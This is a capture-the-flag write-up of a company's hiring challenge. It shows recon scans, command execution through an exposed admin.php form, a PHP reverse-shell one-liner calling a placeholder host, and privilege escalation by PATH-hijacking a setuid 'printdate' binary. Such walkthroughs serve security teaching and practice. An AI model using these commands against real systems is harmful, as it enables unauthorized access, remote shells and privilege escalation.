CTF http://vulnerable.shieldsurge.com/
$ nmap -sV vulnerable.shieldsurge.com
PORT STATE SERVICE VERSION
22/tcp filtered ssh
25/tcp filtered smtp
80/tcp open http lighttpd 1.4.35
5000/tcp open upnp?
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
We see that this is a broken wordpress instance (error establishing database connection). So we hit it with wpscan... and get nothing since it's broken.
[!] The remote website is up, but does not seem to be running WordPress.
So then we hit it with dirsearch to crawl the wordpress site to see what we find. dirsearch found this:
[10:52:00] 200 - 465B - /admin.php
Looks like a form that will let us execute commands!
$ curl -s http://vulnerable.shieldsurge.com:8080/admin.php
<html>
<head>
<title>
System debug page
</title>
</head>
<body>
<p>Temporary command interface to allow sys admins to diagnose issues until we can get the site working properly.</p>
<p>Enter OS commands here:</p>
<form action="/admin.php" method="post">
<input type="text" name="CMD">
<input type="submit" value="Execute">
</form>
</body>
</html>
The CTF instructions said there were two flags in the home directory, let's use our new access to see if we can find those:
$ curl -s -X POST -d 'CMD=id' http://vulnerable.shieldsurge.com:8080/admin.php| tail -2
<pre>uid=1001(lowprivuser) gid=1001(lowprivuser) groups=1001(lowprivuser
$ curl -s -X POST -d 'CMD=ls /home/$(whoami)' http://vulnerable.shieldsurge.com:8080/admin.php| tail -2
<pre>flag.txt
Let's see if we can read that flag file:
$ curl -s -X POST -d 'CMD=cat%20/home/lowprivuser/flag.txt' http://vulnerable.shieldsurge.com:8080/admin.php
...
<pre>Congrats, you got in!
Here is the first flag:
2iRSMoVvGEiO2wx23oGl
...
We got FLAG!
Now to escalate privileges. We start a reverse shell:
/usr/bin/php -r '$sock=fsockopen("<MyReverseShellIP>",4321);exec("/bin/sh -i <&3 >&3 2>&3");'
Now that we have a more comfortable shell we can take a look at what we have access to around our flag. We see there is a binary called printdate with setuid bit meaning that we get perms of the group that owns the file (highprivuser):
$ file /home/highprivuser/*
/home/highprivuser/flag.txt: regular file, no read permission
/home/highprivuser/printdate: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=3217dbafe8444cd2f6182e4abaf20eeb1c03e9e6, not stripped
$ stat /home/highprivuser/printdate
File: '/home/highprivuser/printdate'
Size: 8608 Blocks: 24 IO Block: 4096 regular file
Device: ca01h/51713d Inode: 271594 Links: 1
Access: (4555/-r-sr-xr-x) Uid: ( 1002/highprivuser) Gid: ( 1002/highprivuser)
Access: 2018-04-20 02:24:54.544000000 +0000
Modify: 2018-03-24 14:25:17.804032845 +0000
Change: 2018-03-24 14:27:59.219996587 +0000
Birth: -
When we execute this binary a date is printed. When we execute this binary with strace we see some interesting syscalls. Here we see being run for some reason /bin/ksh93, but not as our user (so it must be running as the highpriv user):
14273 16:24:13 readlink("/proc/self/exe", "/bin/ksh93", 4097) = 10 <0.000019>
Also in the output of strace we see that the printdate application is walking our path looking for the date binary:
14273 16:24:13 stat(".", {st_dev=makedev(202, 1), st_ino=522514, st_mode=S_IFDIR|0755, st_nlink=5, st_uid=0, st_gid=1001, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/19-18:00:31.240000000, st_mtime=2018/03/26-08:21:20.376000000, st_ctime=2018/03/26-08:21:20.376000000}) = 0 <0.000007>
14273 16:24:13 rt_sigaction(SIGCHLD, {0x4291a0, [], SA_RESTORER|SA_INTERRUPT, 0x7fae4b9014b0}, {SIG_DFL, [], 0}, 8) = 0 <0.000007>
14273 16:24:13 stat("/usr/local/sbin", {st_dev=makedev(202, 1), st_ino=66913, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-05:06:42.756000000, st_mtime=2018/01/26-05:53:55.714487143, st_ctime=2018/01/26-06:01:26.965943081}) = 0 <0.000010>
14273 16:24:13 open("/usr/local/sbin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000009>
14273 16:24:13 stat("/usr/local/sbin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000020>
14273 16:24:13 stat("/usr/local/bin", {st_dev=makedev(202, 1), st_ino=66907, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-02:36:46.568000000, st_mtime=2018/01/26-05:53:55.710488987, st_ctime=2018/01/26-06:01:26.965943081}) = 0 <0.000008>
14273 16:24:13 open("/usr/local/bin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000010>
14273 16:24:13 stat("/usr/local/bin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000009>
14273 16:24:13 stat("/usr/sbin", {st_dev=makedev(202, 1), st_ino=32317, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-05:06:42.756000000, st_mtime=2018/03/26-08:07:30.116000000, st_ctime=2018/03/26-08:07:30.116000000}) = 0 <0.000008>
14273 16:24:13 open("/usr/sbin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000022>
14273 16:24:13 stat("/usr/sbin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000008>
14273 16:24:13 stat("/usr/bin", {st_dev=makedev(202, 1), st_ino=32318, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=40, st_size=20480, st_atime=2018/04/20-05:06:42.916000000, st_mtime=2018/03/26-05:42:39.300726016, st_ctime=2018/03/26-05:42:39.300726016}) = 0 <0.000008>
14273 16:24:13 open("/usr/bin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000013>
14273 16:24:13 stat("/usr/bin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000008>
14273 16:24:13 stat("/sbin", {st_dev=makedev(202, 1), st_ino=4151, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=24, st_size=12288, st_atime=2018/04/20-04:12:07.656000000, st_mtime=2018/03/24-03:26:17.321406744, st_ctime=2018/03/24-03:26:17.321406744}) = 0 <0.000009>
14273 16:24:13 open("/sbin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000021>
14273 16:24:13 stat("/sbin/date", 0x7fff8e1893f0) = -1 ENOENT (No such file or directory) <0.000007>
14273 16:24:13 stat("/bin", {st_dev=makedev(202, 1), st_ino=12, st_mode=S_IFDIR|0755, st_nlink=2, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=8, st_size=4096, st_atime=2018/04/20-03:32:24.108000000, st_mtime=2018/03/26-08:25:38.352000000, st_ctime=2018/03/26-08:25:38.352000000}) = 0 <0.000007>
14273 16:24:13 open("/bin/.paths", O_RDONLY) = -1 ENOENT (No such file or directory) <0.000008>
14273 16:24:13 stat("/bin/date", {st_dev=makedev(202, 1), st_ino=16, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=136, st_size=68464, st_atime=2018/04/20-06:25:02.208000000, st_mtime=2017/03/02-18:07:22, st_ctime=2018/01/26-06:01:20.699600510}) = 0 <0.000007>
14273 16:24:13 lstat("/bin/date", {st_dev=makedev(202, 1), st_ino=16, st_mode=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=136, st_size=68464, st_atime=2018/04/20-06:25:02.208000000, st_mtime=2017/03/02-18:07:22, st_ctime=2018/01/26-06:01:20.699600510}) = 0 <0.000007>
Let's try to intercept the date execution by changing our path, and the date to a korn script within that path that is named date. This should fool the program into executing the ksh script as the highprivuser.
$ mkdir /tmp/.staging; printf "#!/bin/ksh93\n/usr/bin/id\n/bin/cat /home/highprivuser/flag.txt" > /tmp/.staging/date; chmod +x /tmp/.staging/date
Now if we execute our ksh script in /tmp/.staging we see that we get a denied error to cat the flag file:
$ /tmp/.staging/date
uid=1001(lowprivuser) gid=1001(lowprivuser) groups=1001(lowprivuser)
/bin/cat: /home/highprivuser/flag.txt: Permission denied
But, if we override our path to look in /tmp first:
$ PATH=/tmp/.staging:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /home/highprivuser/printdate
uid=1001(lowprivuser) gid=1001(lowprivuser) euid=1002(highprivuser) groups=1001(lowprivuser)
Congrats, you win!!
Here is the flag:
WBMyjrDztOQfY3oXh7cV
Email this flag, along with your resume and contact info to:
"careers@shieldsurge.com"
We're excited to chat with you!
-Shieldsurge Consulting